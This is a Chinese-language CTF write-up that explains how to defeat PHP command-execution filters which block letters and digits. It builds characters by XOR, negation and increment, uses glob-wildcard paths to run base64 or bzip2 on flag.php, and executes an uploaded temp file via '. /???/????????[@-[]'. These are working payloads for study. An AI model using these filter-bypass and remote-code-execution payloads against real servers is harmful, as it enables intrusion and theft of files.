做ctfshow的时候,碰到命令执行的题,发现这两种类型的题很有趣,学到了很多知识。
前置知识:
shell下可以利用.
来执行任意脚本
Linux文件名支持用glob通配符代替
方法1
异或:在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
方法2
取反:将汉字(%ff%ff%ff)中的某个字符取出来,来进行取反,即可得到字母
例如~(‘和’{2})=s,意思是将代表和的第二个字符取出,来进行取反。
PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
方法3
位运算:也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z中所有字符。
echo ''.[]
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
再取第一个或者第四个即可得到a或者A
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
ctfshow例题1
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
先放大概了解下下一个思路payload: ?c=/???/????64%20????.???
?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2
前置知识:
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php 对应的就是/???/???64%20???.???
另外一种payload
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
解题思路
上传一个可以上传文件的post数据包(我是上传到自己的vps)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://xxxxxxxxxxxxxxxxxxx.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
在这个页面上上传1.php,然后抓包
#!/bin/sh
ls
构造好payload,执行命令。
payload构造如下
用. file执行文件,是不需要file有x权限的。所以,如果目标服务器上有一个我们可控的文件,就可以利用.
执行它。
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,php的上传实际上是接受multipart/form-data然后将它保存在临时文件中,php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。
php接收到上传的POST请求,就会保存一个临时文件,且命名规则一直是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。(可参考后面总结中颖奇’blog,里面有详细说明)
Linux下的glob通配符
*可以代替0个及以上任意字符
?可以代表1个任意字符
那么,/tmp/phpXXXXXX就可以表示为/*/?????????
或/???/?????????
。但是要注意通配符匹配到的文件很多。
[^x]
的方法来构造“这个位置不是字符x”所以可以将一些特殊字符给排除,例如:
php_333 -> ???[^_ ]???,即可排除php_333。
[0-9]
来表示一个范围。可见大写字母位于@
与[
之间,可以利用[@-[]
来表示大写字母,通过这一步即可排除其他干扰选项。最后的payload
?c=.+/???/????????[@-[]
参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.gem-love.com/websecurity/1407.html#PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C